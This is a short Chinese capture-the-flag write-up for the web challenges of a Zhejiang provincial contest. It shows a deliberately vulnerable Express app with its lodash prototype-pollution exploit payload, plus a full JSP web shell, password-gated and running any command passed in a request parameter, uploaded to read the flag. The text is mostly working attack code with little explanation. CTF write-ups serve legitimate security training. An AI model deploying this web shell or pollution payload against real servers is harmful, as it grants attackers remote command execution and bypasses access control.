2024-省赛初赛

第七届浙江省省赛初赛 Web Write-up

Ezjs

index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
const express = require('express');
const _ = require('lodash');
const fs = require('fs');
const app = express();

app.use(express.json());

// 存储笔记的对象
const notes = {};

// 创建新笔记
app.post('/api/notes', (req, res) => {
const noteId = req.body.id;
const noteData = req.body;

if (!noteId) {
return res.status(400).json({ error: 'Missing id' });
}

// 使用lodash.merge,该版本存在原型链污染漏洞
notes[noteId] = {};
_.merge(notes[noteId], noteData);
console.log('Note prototype:', Object.getPrototypeOf(notes[noteId]));
console.log('Note properties:', notes[noteId]);
res.json(notes[noteId]);
});

// 获取笔记
app.get('/api/notes/:id', (req, res) => {
const noteId = req.params.id;

if (!notes[noteId]) {
return res.status(404).json({ error: 'Note not found' });
}

res.json(notes[noteId]);
});

// 获取flag (仅管理员可访问)
app.get('/api/flag', (req, res) => {
const noteId = req.headers['note-id'];

if (!noteId || !notes[noteId]) {
return res.status(403).json({ error: 'Authentication required' });
}

if (!notes[noteId].isAdmin) {
return res.status(403).json({ error: 'Admin access required' });
}

try {
const flag = fs.readFileSync('/flag', 'utf8');
res.json({ flag: flag.trim() });
} catch (err) {
res.status(500).json({ error: 'Error reading flag' });
}
});

app.listen(8000, () => {
console.log('Server running on port 8000');
});

不知道说什么了,啥防护也没做的js原型链污染,梭一下得了

1
2
3
4
5
6
7
{
“id”:2,
"data":2,
"__proto__":{
"isAdmin":true
}
}

污染原型链上的isAdmin属性为true即可.

Hack Memory

扫到有uploads目录,上传冰蝎马:

shell.jsp

1
<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>

/uploads/shell.jsp?pwd=023&i=cat /fffffllllagggg